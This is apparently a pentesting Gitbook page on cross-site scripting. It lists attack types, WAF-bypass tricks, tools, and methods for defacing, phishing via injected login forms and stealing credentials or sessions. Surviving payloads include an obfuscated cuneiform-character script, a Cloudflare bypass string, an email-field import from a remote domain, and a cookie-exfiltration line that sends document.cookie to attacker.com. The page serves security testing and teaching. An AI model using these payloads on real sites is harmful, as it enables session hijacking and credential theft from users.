XSS
Cross Site Scripting: methodology, payloads, tools
Types of attack
Cookie Stealing
Keylogging
Webcam snapshot
Phishing
Port Scanning
Other browser based exploits - There are millions of possibilities with XSS.
Types of XSS
Stored (Persistent) XSS
The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)
Reflected (Non-Persistent) XSS
Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)
DOM-based XSS
Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)
Cheatsheet
Extension to incorporate XSS Cheatsheet in Burp
One Liner
Fuzzing
FuzzingBypass weak validations
Reflected Parameters
Chrome extension
WAF Bypass - Payload Generator
Basic Payloads
WAF Bypass
Base 64 encoded:
Cuneiform-alphabet based
Polyglot payload - All in one
Source: https://brutelogic.com.br/blog/bypassing-whitelists-with-xss-payloads-in-attributes/
Source: https://x.com/KN0X55/status/1889708590744703269
Grep - Match 1337: https://portswigger.net/burp/documentation/desktop/tools/intruder/uses/fuzzing
Try to start the payloads with a single quote
'or a double quote".Also try with,
>,'>and">Check the source code to close the appropriate tag if necessary
Try with confirm() instead of alert()
Payload List
Tiny XSS
Stored XSS
Tip: Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of window.origin in the alert box, instead of a static value like 1. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.
Will pop up the browser print dialog, which is unlikely to be blocked by any browser
Cookies
Reflected XSS
The single quotes contain our XSS payload '<script>alert(window.origin)</script>'.
GET request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload.
DOM XSS
Sink:
document.write()DOM.innerHTMLDOM.outerHTML
Document Sink
Location Sink
Execution Sink
DOM Source
A source is a JavaScript property that accepts data that is potentially attackercontrolled
jQuery:
add()after()append()
innerHTML function does not allow the use of the <script> tags within it as a security feature
Payload:
Bypass Dom Purify - Mutated XSS
Dom-Explorer
Burp
Firefox Extension
Dom Logger ++ - See Burp extensions
Chrome extension
Blind XSS
Blind XSS Scanner
ezXSS
BeeXSS
XSSHunter
BXSS HUnter
KNOXSS
Create a demo account: https://knoxss.me/
Blind XSS Custom Vector - Default
Blind XSS Custom Vector - Short Polyglot (HTML & JS Main Cases)
Blind XSS Custom Vector - Full Polyglot (20+ XSS Cases)
XSS Discovery
Burp, Nessus, ZAP
Nuclei Template
https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/reflection.yaml
Open Source

Other great tool:
Release Page - build in - Just download
Commercial Tool
https://knoxss.me/ + firefox extension Knoxss
See Blind XSS
Manual
See Payload
Defacing
Three HTML elements are usually utilized to change the main look of a web page:
Background Color
document.body.style.backgroundBackground
document.body.backgroundPage Title
document.titlePage Text
DOM.innerHTML
Changing Background
Changing Page Title
Changing Page Text
jQuery
innerHTML
document.getElementsByTagName('body') => by specifying [0], we are selecting the first body element, which should change the entire text of the web page
Phishing
Login Form Injection
Login form:
Payload:
Vicitm URL: http://SERVER_IP/phishing/index.php?url=...SNIP...

Remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.
Find the id of the HTML element we want to remove:

Final Payload:

Remove the original HTML code left after our injected login form
Credential Stealing
If any victim attempts to log in with the form, we will get their credentials.
Use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections
index.php:
Start a PHP listening server,
Blind XSS Detection
Payload Generator:
Identify the vulnerable input field that executed the script
If we get a request for /username, then we know that the username field is vulnerable to XSS, and so on.
Also check Polyglot XSS payload
Payloads from PayloadsAllTheThings
Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP
Tip: We will notice that the email must match an email format, even if we try manipulating the HTTP request parameters, as it seems to be validated on both the front-end and the back-end. Hence, the email field is not vulnerable, and we can skip testing it. Likewise, we may skip the password field, as passwords are usually hashed and not usually shown in cleartext. This helps us in reducing the number of potentially vulnerable input fields we need to test.
Also see Blind XSS
Blind XSS in Request Header
HTTP Header ExploitationTry in common header
• Referrer • X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Ip, Host (in case of a reverse proxy) • User-Agent • Etc.

Session Hijacking
Payloads
Write any of these JavaScript payloads to script.js, which will be hosted on our VM
Change the URL in the XSS payload we found earlier to use script.js
If there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file
Save the following PHP script as index.php
Redirect
Open RedirectionBypass HTTPOnly - Sandwich Technique
Extract existing page code
If it doesn't work, try to put a js file on your webserver and fetch it:
xss.js
Payload:
XSS in an email / username
XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).
"><img/src/onerror=import('//domain/')>"@yourdomain.com
XSS in phone number
Textarea
XSS in .css file

XSS.SWF
SVG Tag - Confuse filters
Source: https://x.com/garethheyes/status/1843331462004912389?t=wmNCIF85tvyXZ21GMJ9B6w&s=03
Source: https://x.com/0x0SojalSec/status/1844806824983413002?t=sfLD3yJAVRjsXew1YJ40QA&s=03
XSS Polyglots
XSS Cuneiform-alphabet based
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
In search bar
http://url.com/search?title=<xss_payload>
ISO-2022-JP
Invisible Javascript
https://x.com/aemkei/status/1843756978147078286
XSS using github pages
Header Injection
HTTP Header ExploitationServer Side - PDF Generator
SSRFXSS to read local file
Prototype Pollution
For Red Teaming
XSS Keylogger
XSS With JSFuck

Convert document.location='http://attacker.com?'+document.cookie with JSFuck.
Put the result inside <button autofocus onfocus=(eval)([JSFuck])></button>
WAF Bypass
WAF BypassBypass Filters

Bypass Akamai, Imperva and CloudFlare
Use this tricks to bypass alert block by XSS WAF


Amazon / Cloudflare WAF Bypass :
mXSS (Mutated XSS)
https://x.com/therceman/status/1862093437467496722?t=SZ07gfch6y1Zmj83xC6whA&s=03
mXSS (Mutated Cross-Site Scripting) occurs when a browser unexpectedly processes and transforms seemingly safe HTML tags or attributes, allowing malicious scripts to bypass filters and execute.
While libraries like DomPurify are designed to mitigate such attacks, some versions have been exploited by researchers who have discovered new ways to trick the browser and bypass this defense mechanisms.
However, not every developer is aware of DomPurify, or they may choose not to use it for various reasons, opting instead to create their own filters or validators dor safe HTML. This is where mXSS becomes particularly effective in bypassing custum protection measures
WhatWaf
CloudFlare
Payload : %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
CloudFront
Akamai
Akamai: Stored XSS via cache poisoning https://twitter.com/WllGates/status/1788179999100444802
Akamai:
In Redirect Parameter using HTTP Parameter Pollution and Double URL Encode:
Imperva
Sucuri
Amazon WAF
Modsecurity
RXSS
Alert(1)
Stored XSS
ASP


Keylogger
Resources
Payloads
Tools
See XSS Discovery for more tools
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated





